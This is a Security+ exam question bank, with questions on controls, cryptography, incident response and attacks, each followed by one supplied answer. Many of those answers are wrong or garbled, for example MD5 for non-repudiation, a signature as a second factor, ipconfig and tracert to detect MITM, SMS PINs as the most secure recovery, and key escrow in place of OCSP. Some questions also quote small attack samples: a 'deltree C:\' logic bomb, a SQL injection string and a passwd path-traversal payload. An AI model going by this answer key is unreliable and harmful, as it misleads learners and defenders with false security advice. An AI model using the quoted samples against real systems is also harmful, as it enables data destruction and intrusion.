Security+
Which of the following control types are alerts sent from a SIEM fulfilling based on vulnerability signatures?
Detective
A security analyst is mitigating a pass-the-hash vulnerability on a Windows infrastructure. Given the requirement, which of the following should the security analyst do to MINIMIZE the risk?
Disable NTLM
A group of developers is collaborating to write software for a company. The developers need to work in subgroups and control who has access to their modules. Which of the following access control methods is considered user-centric?
Discretionary
A security administrator is diagnosing a server where the CPU utilization is at 100% for 24 hours. The main culprit of CPU utilization is the antivirus program. Which of the following issue could occur if left unresolved? (Choose two.)
DoS attack Resource exhaustion
A security analyst notices anomalous activity coming from several workstations in the organizations. Upon identifying and containing the issue, which of the following should the security analyst do NEXT?
Document findings and processes in the after-action and lessons learned report
Which of the following methods minimizes the system interaction when gathering information to conduct a vulnerability assessment of a router?
Download the configuration
A technician wants to configure a wireless router at a small office that manages a family-owned dry cleaning business. The router will support five laptops, personal smartphones, a wireless printer, and occasional guests. Which of the following wireless configurations is BEST implemented in this scenario?
Dual SSID with WPA2-PSK
Which of the following attacks can be mitigated by proper data retention policies?
Dumpster diving
A systems engineer is setting up a RADIUS server to support a wireless network that uses certificate authentication. Which of the following protocols must be supported by both the RADIUS server and the WAPs?
EAP
A company is deploying a wireless network. It is a requirement that client devices must use X.509 certifications to mutually authenticate before connecting to the wireless network. Which of the following protocols would be required to accomplish this?
EAP-TLS
Which of the following is a resiliency strategy that allows a system to automatically adapt to workload changes?
Elasticity
Which of the following is an algorithm family that was developed for use cases in which power consumption and lower computing power are constraints?
Elliptic curve
A company wants to provide a guest wireless system for its visitors. The system should have a captive portal for guest selfregistration and protect guest devices from spreading malware to other connected devices. Which of the following should be done on the wireless network to satisfy these requirements? (Choose two.)
Enforce 802.1X with PEAP. Enable client isolation.
Due to regulatory requirements, a security analyst must implement full drive encryption on a Windows file server. Which of the following should the analyst implement on the system to BEST meet this requirement? (Choose two.)
Ensure the hardware supports TPM, and enable it in the BIOS. Enable and configure BitLocker on the drives.
After discovering a security incident and removing the affected files, an administrator disabled an unneeded service that led to the breach. Which of the following steps in the incident response process has the administrator just completed?
Eradication
The administrator installs database software to encrypt each field as it is written to disk. Which of the following describes the encrypted data?
In-use
Technicians working with servers hosted at the company's datacenter are increasingly complaining of electric shocks when touching metal items which have been linked to hard drive failures. Which of the following should be implemented to correct this issue?
Increase humidity in the room
An organization's file server has been virtualized to reduce costs. Which of the following types of backups would be MOST appropriate for the particular file server?
Incremental
A security analyst needs to be proactive in understanding the types of attacks that could potentially target the company's executives. Which of the following intelligence sources should the security analyst review?
Industry information-sharing and collaboration groups
When it comes to cloud computing, if one of the requirements for a project is to have the most control over the systems in the cloud, which of the following is a service model that would be BEST suited for this goal?
Infrastructure
A corporation is concerned that, if a mobile device is lost, any sensitive information on the device could be accessed by third parties. Which of the following would BEST prevent this from happening?
Initiate remote wiping on lost mobile devices
An application was recently compromised after some malformed data came in via web form. Which of the following would MOST likely have prevented this?
Input validation
While testing a new application, a developer discovers that the inclusion of an apostrophe in a username causes the application to crash. Which of the following secure coding techniques would be MOST useful to avoid this problem?
Input validation
Which of the following best describes routine in which semicolons, dashes, quotes, and commas are removed from a string?
Input validation to protect against SQL injection
Which of the following threats has sufficient knowledge to cause the MOST danger to an organization?
Insiders
Several workstations on a network are found to be on OS versions that are vulnerable to a specific attack. Which of the following is considered to be a corrective action to combat this vulnerability?
Install a vendor-supplied patch
A company recently changed its security policy to allow access to only pre-approved websites and setup to occur without any end-user configuration. Which of the follow is the BEST configuration for implementing the new security policy?
Install and configure a transparent proxy.
A network technician needs to monitor and view the websites that are visited by an employee. The employee is connected to a network switch. Which of the following would allow the technician to monitor the employee's web traffic?
Install and configured a transparent proxy server.
New magnetic locks were ordered for an entire building. In accordance with company policy, employee safety is the top priority. In case of a fire where electricity is cut, which of the following should be taken into consideration when installing the new locks?
Fail safe
An organization is using a tool to perform a source code review. Which of the following describes the case in which the tool incorrectly identifies the vulnerability?
False positive
Which of the following should a technician use to protect a cellular phone that is needed for an investigation, to ensure the data will not be removed remotely?
Faraday cage
An administrator is testing the collision resistance of different hashing algorithms. Which of the following is the strongest collision resistance test?
Find two identical messages with different hashes
For each of the given items, select the appropriate authentication category from the drop down choices.
Fingerprint scan - Biometric authentication Hardware token - One Time Password Smart card - Multi-factor Password - PAP authentication PIN number - PAP authentication Retina scan - Biometric authentication
A security administrator has been conducting an account permissions review that has identified several users who belong to functional groups and groups responsible for auditing the functional groups' actions. Several recent outages have not been able to be traced to any user. Which of the following should the security administrator recommend to preserve future audit log integrity?
Following standard naming conventions for audit group users
Which of the following would allow for the QUICKEST restoration of a server into a warm recovery site in a case in which server data mirroring is not enabled?
Full backup
A security analyst is implementing mobile device security for a company. To save money, management has decided on a BYOD model. The company is most concerned with ensuring company data will not be exposed if a phone is lost or stolen. Which of the following techniques BEST accomplish this goal? (Choose two.)
Full device encryption Remote wipe
Which of the following allows an auditor to test proprietary-software compiled code for security flaws?
Fuzzing
A company notices that at 10 a.m. every Thursday, three users' computers become inoperable. The security analyst team discovers a file called where.pdf.exe that runs on system startup. The contents of where.pdf.exe are shown below: @echo off if [c:\file.txt] deltree C:\ Based on the above information, which of the following types of malware was discovered?
Logic bomb
A security administrator has completed a monthly review of DNS server query logs. The administrator notices continuous name resolution attempts from a large number of internal hosts to a single Internet addressable domain name. The security administrator then correlated those logs with the establishment of persistent TCP connections out to this domain. The connections seem to be carrying on the order of kilobytes of data per week. Which of the following is the MOST likely explanation for this anomaly?
Internal hosts have become members of a botnet.
Which of the following is a security consideration for IoT devices?
IoT devices have built-in accounts that users rarely access.
A security administrator suspects a MITM attack aimed at impersonating the default gateway is underway. Which of the following tools should the administrator use to detect this attack? (Choose two.)
Ipconfig Tracert
Which of the following precautions MINIMIZES the risk from network attacks directed at multifunction printers, as well as the impact on functionality at the same time?
Isolating the systems using VLANs
Corporations choose to exceed regulatory framework standards because of which of the following incentives?
It improves the legal defensibility of the company
Which of the following is the primary reason for implementing layered security measures in a cybersecurity architecture?
It increases the number of controls required to subvert a system
Which of the following is unique to a stream cipher?
It performs bit-level encryption.
A security administrator is trying to encrypt communication. For which of the following reasons should administrator take advantage of the Subject Alternative Name (SAM) attribute of a certificate?
It provides extended site validation
Which of the following BEST explains why sandboxing is a best practice for testing software from an untrusted vendor prior to an enterprise deployment?
It restricts the access of the software to a contained logical space and limits possible damage
A security administrator is evaluating three different services: radius, diameter, and Kerberos. Which of the following is a feature that is UNIQUE to Kerberos?
It uses tickets to identify authenticated users
A security analyst receives an alert from a WAF with the following payload: var data= "<test test test>" ++ <../../../../../../etc/passwd>" Which of the following types of attacks is this?
JavaScript data insertion
A company employee recently retired, and there was a schedule delay because no one was capable of filling the employee's position. Which of the following practices would BEST help to prevent this situation in the future?
Job rotation
Which of the following is MOST likely caused by improper input handling?
Loss of database tables
A user has attempted to access data at a higher classification level than the user's account is currently authorized to access. Which of the following access control models has been applied to this user's account?
MAC
While performing surveillance activities, an attacker determines that an organization is using 802.1X to secure LAN access. Which of the following attack mechanisms can the attacker utilize to bypass the identified network security?
MAC spoofing
Which of the following algorithms would be used to provide non-repudiation of a file transmission?
MD5
Which of the following cryptography algorithms will produce a fixed-length, irreversible output?
MD5
Which of the following is used to validate the integrity of data?
MD5
A security administrator is investigating a possible account compromise. The administrator logs onto a desktop computer, executes the command notepad.exe c:\Temp\qkakforlkgfkja.1og, and reviews the following: Lee,\rI have completed the task that was assigned to me\rrespectfully\rJohn\r https://www.portal.com\rjohnuser\rilovemycat2 Given the above output, which of the following is the MOST likely cause of this compromise?
Keylogger
A security analyst is hardening a server with the directory services role installed. The analyst must ensure LDAP traffic cannot be monitored or sniffed and maintains compatibility with LDAP clients. Which of the following should the analyst implement to meet these requirements? (select two)
Generate an X.509-compliant certificate that is signed by a trusted CA. Ensure port 636 is open between the clients and the servers using the communication
A company wants to ensure users are only logging into the system from their laptops when they are on site. Which of the following would assist with this?
Geofencing
Ann, a user, states that her machine has been behaving erratically over the past week. She has experienced slowness and input lag and found text files that appear to contain pieces of her emails or online conversations with coworkers. The technician runs a standard virus scan but detects nothing. Which of the following types of malware has infected the machine?
Keylogger
An organization has hired a new remote workforce. Many new employees are reporting that they are unable to access the shared network resources while traveling. They need to be able to travel to and from different locations on a weekly basis. Shared offices are retained at the headquarters location. The remote workforce will have identical file and system access requirements, and must also be able to log in to the headquarters location remotely. Which of the following BEST represent how the remote employees should have been set up initially? (Choose two.)
Group-based access control Individual accounts
A Chief Information Officer (CIO) is concerned that encryption keys might be exfiltrated by a contractor. The CIO wants to keep control over key visibility and management. Which of the following would be the BEST solution for the CIO to implement?"
HSM
A hospital has received reports from multiple patients that their PHI was stolen after completing forms on the hospital's website. Upon investigation, the hospital finds a packet analyzer was used to steal data. Which of the following protocols would prevent this attack from reoccurring?
HTTPS
The availability of a system has been labeled as the highest priority. Which of the following should be focused on the MOST to ensure the objective?
HVAC
A company is terminating an employee for misbehavior. Which of the following steps is MOST important in the process of disengagement from this employee?
Have the employee surrender company identification.
An organization requires users to provide their fingerprints to access an application. To improve security, the application developers intend to implement multifactor authentication. Which of the following should be implemented?
Have users sign their name naturally
A malicious attacker has intercepted HTTP traffic and inserted an ASCII line that sets the referrer URL. Which of the following is the attacker most likely utilizing?
Header manipulation
*LAB* Attacker posts link to fake AV software - multiple social networks - broad set of victims
Hoax
A company recently contracted a penetration testing firm to conduct an assessment. During the assessment, the penetration testers were able to capture unencrypted communication between directory servers. The penetration testers recommended encrypting this communication to fix the vulnerability. Which of the following protocols should the company implement to close this finding?
LDAPS
A company network is currently under attack. Although security controls are in place to stop the attack, the security administrator needs more information about the types of attacks being used. Which of the following network types would BEST help the administrator gather this information?
Honeynet
A systems administrator has created network file shares for each department with associated security groups for each role within the organization. Which of the following security concepts is the systems administrator implementing?
Least privilege
The IT department needs to prevent users from installing untested applications. Which of the following would provide the BEST solution?
Least privilege
A security administrator has been assigned to review the security posture of the standard corporate system image for virtual machines. The security administrator conducts a thorough review of the system logs, installation procedures, and network configuration of the VM image. Upon reviewing the access logs and user accounts, the security administrator determines that several accounts will not be used in production. Which of the following would correct the deficiencies?
Host hardening
While reviewing the monthly internet usage it is noted that there is a large spike in traffic classified as "unknown" and does not appear to be within the bounds of the organizations Acceptable Use Policy. Which of the following tool or technology would work BEST for obtaining more information on this traffic?
IDS logs
An organization wants to ensure network access is granted only after a user or device has been authenticated. Which of the following should be used to achieve this objective for both wired and wireless networks?
IEEE 802.1X
A Chief Information Security Officer (CISO) has instructed the information assurance staff to act upon a fast-spreading virus. Which of the following steps in the incident response process should be taken NEXT?
Identification
After an identified security breach, an analyst is tasked to initiate the IR process. Which of the following is the NEXT step the analyst should take?
Identification
An incident response manager has started to gather all the facts related to a SIEM alert showing multiple systems may have been compromised. The manager has gathered these facts: The breach is currently indicated on six user PCs One service account is potentially compromised Executive management has been notified In which of the following phases of the IRP is the manager currently working?
Identification
A security administrator wants to implement a logon script that will prevent MITM attacks on the local LAN. Which of the following commands should the security administrator implement within the script to accomplish this task?
A. arp - s 192.168.1.1 00-3a-d1-fa-b1-06
Which of the following encryption algorithms is used primarily to secure data at rest?
AES
A network administrator is brute forcing accounts through a web interface. Which of the following would provide the BEST defense from an account password being discovered?
Account lockout
A penetration tester harvests potential usernames from a social networking site. The penetration tester then uses social engineering to attempt to obtain associated passwords to gain unauthorized access to shares on a network server. Which of the following methods is the penetration tester MOST likely using?
Active reconnaissance
When configuring settings in a mandatory access control environment, which of the following specifies the subjects that can access specific data objects?
Administrator
A security administrator has replaced the firewall and notices a number of dropped connections. After looking at the data the security administrator sees the following information that was flagged as a possible issue: "SELECT" * "FROM" and "1" = "1" Which of the following can the security administrator determine from this?
An SQL injection attack is being attempted
Which of the following is the BEST example of a reputation impact identified during a risk assessment?
An attacker defacing the e-commerce portal
Joe, an employee, knows he is going to be fired in three days. Which of the following is Joe?
An insider threat
A security analyst receives a notification from the IDS after working hours, indicating a spike in network traffic. Which of the following BEST describes this type of IDS?
Anomaly-based
Which of the following is the proper order for logging a user into a system from the first step to the last step?
Identification, authentication, authorization
Which of the following is commonly done as part of a vulnerability scan?
Identifying unpatched workstations
A help desk technician receives a phone call from an individual claiming to be an employee of the organization and requesting assistance to access a locked account. The help desk technician asks the individual to provide proof of identity before access can be granted. Which of the following types of attack is the caller performing?
Impersonation
A company is deploying a file-sharing protocol across a network and needs to select a protocol for authenticating clients. Management requests that the service be configured in the most secure way possible. The protocol must also be capable of mutual authentication, and support SSO and smart card logons. Which of the following would BEST accomplish this task?
Implement Kerberos
After a security incident, management is meeting with involved employees to document the incident and its aftermath. Which of the following BEST describes this phase of the incident response process?
Lessons learned
Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack?
Lessons learned
Which of the following is the BEST choice for a security control that represents a preventive and corrective logical control at the same time?
Antivirus
A systems administrator is reviewing the following information from a compromised server: Process DEP Local Address Remote Address LSASS YES 0.0.0.0 10.210.100.62 APACHE NO 0.0.0.0 10.130.210.20 MySQL NO 127.0.0.1 127.0.0.1 TFTP YES 191.168.1.10 10.34.221.96 Given the above information, which of the following processes was MOST likely exploited via a remote buffer overflow attack?
Apache
A security analyst observes the following events in the logs of an employee workstation: 1/23 1:07:16 865 Access to C:\Users\user\temp\oasdfkh.hta has been restricted by your administrator by the default restriction policy level. 1/23 1:07:09 1034 The scan completed. No detections were found. The security analyst reviews the file system and observed the following: C:>dir C:\Users\user\temp 1/23 1:07:02 oasdfkh.hta 1/23 1:07:02 update.bat 1/23 1:07:02 msg.txt Given the information provided, which of the following MOST likely occurred on the workstation?
Application whitelisting controls blocked an exploit payload from executing.
During an application design, the development team specifics a LDAP module for single sign-on communication with the company's access control database. This is an example of which of the following?
Authentication
A company offers SaaS, maintaining all customers' credentials and authenticating locally. Many large customers have requested the company offer some form of federation with their existing authentication infrastructures. Which of the following would allow customers to manage authentication and authorizations from within their existing organizations?
Implement SAML so the company's services may accept assertions from the customers' authentication servers.
A security analyst wants to harden the company's VoIP PBX. The analyst is worried that credentials may be intercepted and compromised when IP phones authenticate with the BPX. Which of the following would best prevent this from occurring?
Implement SRTP between the phones and the PBX.
A network administrator needs to prevent users from accessing the accounting department records. All users are connected to the same Layer 2 device and access the Internet through the same router. Which of the following should be implemented to segment the accounting department from the rest of the users?
Implement VLANs and an ACL.
A security administrator is performing a risk assessment on a legacy WAP with a WEP-enabled wireless infrastructure. Which of the following should be implemented to harden the infrastructure without upgrading the WAP?
Implement WPA2 Enterprise
The Chief Information Officer (CIO) has determined the company's new PKI will not use OCSP. The purpose of OCSP still needs to be addressed. Which of the following should be implemented?
Implement a key escrow.
A security administrator is adding a NAC requirement for all VPN users to ensure the connecting devices are compliant with company policy. Which of the following items provides the HIGHEST assurance to meet this requirement?
Implement a permanent agent.
A Chief Information Officer (CIO) wants to eliminate the number of calls the help desk is receiving for password resets when users log on to internal portals. Which of the following is the BEST solution?
Implement a self-service portal
Which of the following should identify critical systems and components?
BCP
Which of the following can be used to increase the time needed to brute force a hashed password?
BCRYPT
Which of the following are used to substantially increase the computation time required to crack a password? (Choose two.)
BCRYPT PBKDF2
Ann. An employee in the payroll department, has contacted the help desk citing multiple issues with her device, including: Slow performance Word documents, PDFs, and images no longer opening A pop-up Ann states the issues began after she opened an invoice that a vendor emailed to her. Upon opening the invoice, she had to click several security warnings to view it in her word processor. With which of the following is the device MOST likely infected?
Backdoor
A remote intruder wants to take inventory of a network so exploits can be researched. The intruder is looking for information about software versions on the network. Which of the following techniques is the intruder using?
Banner grabbing
A company would like to prevent the use of a known set of applications from being used on company computers. Which of the following should the security administrator implement?
Blacklisting
A company has noticed multiple instances of proprietary information on public websites. It has also observed an increase in the number of email messages sent to random employees containing malicious links and PDFs. Which of the following changes should the company make to reduce the risks associated with phishing attacks? (Choose two.)
Block access to personal email on corporate systems Update corporate policy to prohibit access to social media websites
Which of the following attack types is being carried out where a target is being sent unsolicited messages via Bluetooth?
Bluejacking
A company's user lockout policy is enabled after five unsuccessful login attempts. The help desk notices a user is repeatedly locked out over the course of a workweek. Upon contacting the user, the help desk discovers the user is on vacation and does not have network access. Which of the following types of attacks are MOST likely occurring? (Select two.)
Brute Force Dictionary
A security administrator learns that PII, which was gathered by the organization, has been found in an open forum. As a result, several C-level executives found their identities were compromised, and they were victims of a recent whaling attack. Which of the following would prevent these problems in the future? (Choose two.)
Implement an email DLP. Implement a spam filter.
A Chief Security Office's (CSO's) key priorities are to improve preparation, response, and recovery practices to minimize system downtime and enhance organizational resilience to ransomware attacks. Which of the following would BEST meet the CSO's objectives?
Implement application whitelisting and centralized event-log management, and perform regular testing and validation of full backups.
As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data on personal devices. Which of the following would BEST help to accomplish this?
Implement containerization of company data.
An organization is building a new customer services team, and the manager needs to keep the team focused on customer issues and minimize distractions. The users have a specific set of tools installed, which they must use to perform their duties. Other tools are not permitted for compliance and tracking purposes. Team members have access to the Internet for product lookups and to research customer issues. Which of the following should a security engineer employ to fulfill the requirements for the manager?
Implement containerization on the workstations.
Two users need to send each other emails over unsecured channels. The system should support the principle of nonrepudiation. Which of the following should be used to sign the user's certificates?
CA
An organization recently moved its custom web applications to the cloud, and it is obtaining managed services of the back-end environment as part of its subscription. Which of the following types of services is this company now using?
CASB
Which of the following enables a corporation to extend local security policies to corporate resources hosted in a CSP's infrastructure?
CASB
When an initialization vector is added to each encryption cycle, it is using the:
CBC cipher mode
Which of the following AES modes of operation provide authentication? (Choose two.)
CCM GCM
A security administrator receives notice that a third-party certificate authority has been compromised, and new certificates will need to be issued. Which of the following should the administrator submit to receive a new certificate?
CSR
An incident responder receives a call from a user who reports a computer is exhibiting symptoms consistent with a malware infection. Which of the following steps should the responder perform NEXT?
Capture and document necessary information to assist in the response.
Which of the following must be intact for evidence to be admissible in court?
Chain of custody
Which of the following cloud models is used to share resources and information with business partners and like businesses without allowing everyone else access?
Community
An organization needs to integrate with a third-party cloud application. The organization has 15000 users and does not want to allow the cloud provider to query its LDAP authentication server directly. Which of the following is the BEST way for the organization to integrate with the cloud application?
Configure a RADIUS federation between the organization and the cloud provider.
An organization's research department uses workstations in an air-gapped network. A competitor released products based on files that originated in the research department. Which of the following should management do to improve the security and confidentiality of the research files?
Configure removable media controls on the workstations.
A contracting company recently completed its period of performance on a government contract and would like to destroy all information associated with contract performance. Which of the following is the best NEXT step for the company to take?
Consult data disposition policies in the contract.
Which of the following incident response steps involves actions to protect critical systems while maintaining business operations?
Containment
A security administrator is working with the human resources department to classify data held by the company. The administrator has determined the data contains a variety of data types, including health information, employee names and addresses, trade secrets, and confidential customer information. Which of the following should the security administrator do NEXT?
Create a custom set of data labels to group the data by sensitivity and protection requirements
A security administrator wants to determine if a company's web servers have the latest operating system and application patches installed. Which of the following types of vulnerability scans should be conducted?
Credentialed
Joe, a user, reports to the help desk that he can no longer access any documents on his PC. He states that he saw a window appear on the screen earlier, but he closed it without reading it. Upon investigation, the technician sees high disk activity on Joe's PC. Which of the following types of malware is MOST likely indicated by these findings?
Crypto-malware
A security analyst identified an SQL injection attack. Which of the following is the FIRST step in remediating the vulnerability?
Implement input validations.
Which of the following actions will help detect attacker attempts to further alter log files?
Implement remote syslog
A penetration tester was able to connect to a company's internal network and perform scans and staged attacks for the duration of the testing period without being noticed. The SIEM did not alert the security team to the presence of the penetration tester's devices on the network. Which of the following would provide the security team with notification in a timely manner?
Implement rogue system detection and sensors
A security analyst discovers that a company's username and password database was posted on an Internet forum. The username and passwords are stored in plain text. Which of the following would mitigate the damage done by this type of data exfiltration in the future?
Implement salting and hashing.
An attacker has gained control of several systems on the Internet and is using them to attack a website, causing it to stop responding to legitimate traffic. Which of the following BEST describes the attack?
DDoS
Which of the following is the appropriate network structure used to protect servers and services that must be provided to external clients without completely eliminating access for internal users?
DMZ
A company is determining where to host a hot site, and one of the locations being considered is in another country. Which of the following should be considered when evaluating this option?
Data sovereignty
A forensic investigator has run into difficulty recovering usable files from a SAN drive. Which of the following SAN features might have caused the problem?
Deduplication
A home invasion occurred recently in which an intruder compromised a home network and accessed a WiFI- enabled baby monitor while the baby's parents were sleeping. Which of the following BEST describes how the intruder accessed the monitor?
Default configuration
Which of the following is the BEST explanation of why control diversity is important in a defense-in-depth architecture?
Defense-in-depth relies on control diversity to provide multiple levels of network hierarchy that allow user domain segmentation
While reviewing the security controls in place for a web-based application, a security controls assessor notices that there are no password strength requirements in place. Because of this vulnerability, passwords might be easily discovered using a brute force attack. Which of the following password requirements will MOST effectively improve the security posture of the application against these attacks? (Choose two.)
Minimum complexity Minimum length
Which of the following should a company require prior to performing a penetration test?
NDA
An attachment that was emailed to finance employees contained an embedded message. The security administrator investigates and finds the intent was to conceal the embedded information from public view. Which of the following BEST describes this type of message?
Obfuscation
A company has migrated to two-factor authentication for accessing the corporate network, VPN, and SSO. Several legacy applications cannot support multifactor authentication and must continue to use usernames and passwords. Which of the following should be implemented to ensure the legacy applications are as secure as possible while ensuring functionality? (Choose two.)
Password complexity requirements Account disablement
A company has a team of penetration testers. This team has located a file on the company file server that they believe contains cleartext usernames followed by a hash. Which of the following tools should the penetration testers use to learn more about the content of this file?
Password cracker
A mobile application developer wants to secure an application that transmits sensitive information. Which of the following should the developer implement to prevent SSL MITM attacks?
Pinning
A government agency with sensitive information wants to virtualize its infrastructure. Which of the following cloud deployment models BEST fits the agency's needs?
Private
Which of the following types of keys is found in a key escrow?
Private
A systems engineer wants to leverage a cloud-based architecture with low latency between network-connected devices that also reduces the bandwidth that is required by performing analytics directly on the endpoints. Which of the following would BEST meet the requirements? (Choose two.)
Private cloud SaaS
Which of the following impacts MOST likely results from poor exception handling?
Privilege escalation
A technician is recommending preventive physical security controls for a server room. Which of the following would the technician MOST likely recommend? (Choose two.)
Protected cabinets Mantrap
A company has purchased a new SaaS application and is in the process of configuring it to meet the company's needs. The director of security has requested that the SaaS application be integrated into the company's IAM processes. Which of the following configurations should the security administrator set up in order to complete this request?
RADIUS
Which of the following is a component of multifactor authentication?
RADIUS
A security engineer wants to further secure a sensitive VLAN on the network by introducing MFA. Which of the following is the BEST example of this?
RSA token and password
Which of the following describes the maximum amount of time a mission essential function can operate without the systems it depends on before significantly impacting the organization?
RTO
Multiple employees receive an email with a malicious attachment that begins to encrypt their hard drives and mapped shares on their devices when it is opened. The network and security teams perform the following actions: Shut down all network shares. Run an email search identifying all employees who received the malicious message. Reimage all devices belonging to users who opened the attachment. Next, the teams want to re-enable the network shares. Which of the following BEST describes this phase of the incident response process?
Recovery
Which of the following is a compensating control that will BEST reduce the risk of weak passwords?
Requiring the use of one-time tokens
When attempting to secure a mobile workstation, which of the following authentication technologies rely on the user's physical characteristics? (Choose two.)
Retina scan Fingerprint scan
Which of the following use the SSH protocol?
SCP SFTP
A security administrator is developing training for corporate users on basic security principles for personal email accounts. Which of the following should be mentioned as the MOST secure way for password recovery?
Sending a PIN to a smartphone through text message
Which of the following techniques can be bypass a user or computer's web browser privacy settings? (Choose two.)
Session hijacking Cross-site scripting
In the event of a security incident, which of the following should be captured FIRST?
System memory
A security team wants to establish an Incident Response plan. The team has never experienced an incident. Which of the following would BEST help them establish plans and procedures?
Table top exercises
An organization has decided to host its web application and database in the cloud. Which of the following BEST describes the security concerns for this decision?
The cloud vendor is a new attack vector within the supply chain.
Which of the following are disadvantages of full backups? (Choose three.)
They require the most storage They have the slowest recovery time They are time-consuming to complete
When considering IoT systems, which of the following represents the GREATEST ongoing risk after a vulnerability has been discovered?
Tight integration to existing systems
A systems administrator is installing a new server in a large datacenter. Which of the following BEST describes the importance of properly positioning servers in the rack to maintain availability?
To provide consistent air flow
Joe, the security administrator, sees this in a vulnerability scan report: "The server 10.1.2.232 is running Apache 2.2.20 which may be vulnerable to a mod_cgi exploit." Joe verifies that the mod_cgi module is not enabled on 10.1.2.232. This message is an example of:
a false positive.
When systems, hardware, or software are not supported by the original vendor, it is a vulnerability known as:
end-of-life systems
A large financial services firm recently released information regarding a security breach within its corporate network that began several years before. During the time frame in which the breach occurred, indicators show an attacker gained administrative access to the network through a file download from a social media site and subsequently installed it without the user's knowledge. Since the compromise, the attacker was able to take command and control of the computer systems anonymously while obtaining sensitive corporate and personal employee information. Which of the following methods did the attacker MOST likely use to gain access?
A bot
Which of the following BEST explains the difference between a credentialed scan and a non-credentialed scan?
A credentialed scan sees the system the way an authorized user sees the system, while a non-credentialed scan sees the system as a guest.
An organization with very high security needs wants to implement a biometric system. It is required to minimize unauthorized access by ensuring authorized personnel are not denied access. Which of the following solutions will work?
A device with a low false acceptance rate and a low false rejection rate
Which of the following is an example of the second A in the AAA model?
A domain controller confirms membership in the appropriate group
A security analyst performs a vulnerability scan on the local network. Several items are flagged on the report as being critical issues. The security analyst researches each of the vulnerabilities and discovers that one of the critical issues on the report was mitigated in a previous scan. Which of the following MOST likely happened?
A false positive occurred
Ann, a user, reports she is receiving emails that appear to be from organizations to which she belongs, but the emails contain links to websites that do not belong to those organizations. Which of the following security scenarios does this describe?
A hacker is using Ann's social media information to create a spear phishing attack
A systems administrator just issued the ssh-keygen -t rsa command on a Linux terminal. Which of the following BEST describes what the rsa portion of the command represents?
A key generation algorithm
A red team initiated a DoS attack on the management interface of a switch using a known vulnerability. The monitoring solution then raised an alert, prompting a network engineer to log in to the switch to diagnose the issue. When the engineer logged in, the red team was able to capture the credentials and subsequently log in to the switch. Which of the following actions should the network team take to prevent this type of breach from reoccurring?
Enable Secure Shell and disable Telnet.
A penetration tester finds that a company's login credentials for the email client were being sent in clear text. Which of the following should be done to provide encrypted logins to the email server?
Enable an SSL certificate for IMAP services.
A security administrator has been tasked with improving the overall security posture related to desktop machines on the network. An auditor has recently that several machines with confidential customer information displayed in the screens are left unattended during the course of the day. Which of the following could the security administrator implement to reduce the risk associated with the finding?
Enable group policy based screensaver timeouts
A security analyst is emailing PII in a spreadsheet file to an audit validator for after-actions related to a security assessment. The analyst must make sure the PII data is protected with the following minimum requirements: Ensure confidentiality at rest. Ensure the integrity of the original email message. Which of the following controls would ensure these data security requirements are carried out?
Encrypt and sign the email using S/MIME.
Joe, a user, wants to send Ann, another user, a confidential document electronically. Which of the following should Joe do to ensure the document is protected from eavesdropping?
Encrypt it with Ann's public key
A company hires a third-party firm to conduct an assessment of vulnerabilities exposed to the Internet. The firm informs the company that an exploit exists for an FTP server that had a version installed from eight years ago. The company has decided to keep the system online anyway, as no upgrade exists form the vendor. Which of the following BEST describes the reason why the vulnerability exists?
End-of-life system
A network administrator wants to ensure that users do not connect any unauthorized devices to the company network. Each desk needs to connect a VoIP phone and computer. Which of the following is the BEST way to accomplish this?
Enforce authentication for network devices
A company has users and printers in multiple geographic locations, and the printers are located in common areas of the offices. To preserve the confidentiality of PII, a security administrator needs to implement the appropriate controls. Which of the following would BEST meet the confidentiality requirements of the data?
Enforcing location-based policy restrictions
Ann, a security administrator, has been instructed to perform fuzz-based testing on the company's applications. Which of the following best describes what she will do?
Enter random or invalid data into the application in an attempt to cause it to fault
An attacker is attempting to harvest user credentials on a client's website. A security analyst notices multiple attempts of random usernames and passwords. When the analyst types in a random username and password, the logon screen displays the following message: The username you entered does not exist. Which of the following should the analyst recommend be enabled?
Error handling
Upon entering an incorrect password, the logon screen displays a message informing the user that the password does not match the username provided and is not the required length of 12 characters. Which of the following secure coding techniques should a security analyst address with the application developers to follow security best practices?
Error handling
Which of the following penetration testing concepts is an attacker MOST interested in when placing the path of a malicious file in the Windows/CurrentVersion/Run registry key?
Escalation of privilege
A company stores highly sensitive data files used by the accounting system on a server file share. The accounting system uses a service account named accounting-svc to access the file share. The data is protected will a full disk encryption, and the permissions are set as follows: File system permissions: Users = Read Only Share permission: accounting-svc = Read Only Given the listed protections are in place and unchanged, to which of the following risks is the data still subject?
Exploitation of local console access and removal of data
A company is planning to build an internal website that allows for access to outside contracts and partners. A majority of the content will only be available to internal employees with the option to share. Which of the following concepts is MOST appropriate?
Extranet
An organization is developing its mobile device management policies and procedures and is concerned about vulnerabilities that are associated with sensitive data being saved to a mobile device, as well as weak authentication when using a PIN. As part of some discussions on the topic, several solutions are proposed. Which of the following controls, when required together, will address the protection of data-at-rest as well as strong authentication? (Choose two.)
FDE MFA
A security analyst has received the following alert snippet from the HIDS appliance: PROTOCOL SIG SRC.PORT DST.PORT TCP XMAS SCAN 192.168.1.1:1091 192.168.1.2:8891 TCP XMAS SCAN 192.168.1.1:649 192.168.1.2:9001 TCP XMAS SCAN 192.168.1.1:2264 192.168.1.2:6455 TCP XMAS SCAN 192.168.1.1:3464 192.168.1.2:8744 Given the above logs, which of the following is the cause of the attack?
FIN, URG, and PSH flags are set in the packet header
A company recently installed fingerprint scanners at all entrances to increase the facility's security. The scanners were installed on Monday morning, and by the end of the week it was determined that 1.5% of valid users were denied entry. Which of the following measurements do these users fall under?
FRR
A security administrator has written a script that will automatically upload binary and text-based configuration files onto a remote server using a scheduled task. The configuration files contain sensitive information. Which of the following should the administrator use? (Choose two.)
FTP over a non-standard pot Certificate-based authentication
A company is developing a new system that will unlock a computer automatically when an authorized user sits in front of it, and then lock the computer when the user leaves. The user does not have to perform any action for this process to occur. Which of the following technologies provides this capability?
Facial recognition
Which of the following can occur when a scanning tool cannot authenticate to a server and has to rely on limited information obtained from service banners?
False positive
While testing a new vulnerability scanner, a technician becomes concerned about reports that list security concerns that are not present on the systems being tested. Which of the following BEST describes this flaw?
False positives
A bank uses a wireless network to transmit credit card purchases to a billing system. Which of the following would be MOST appropriate to protect credit card information from being accessed by unauthorized individuals outside of the premises?
Faraday cage
A datacenter recently experienced a breach. When access was gained, an RF device was used to access an air-gapped and locked server rack. Which of the following would BEST prevent this type of attack?
Faraday cage
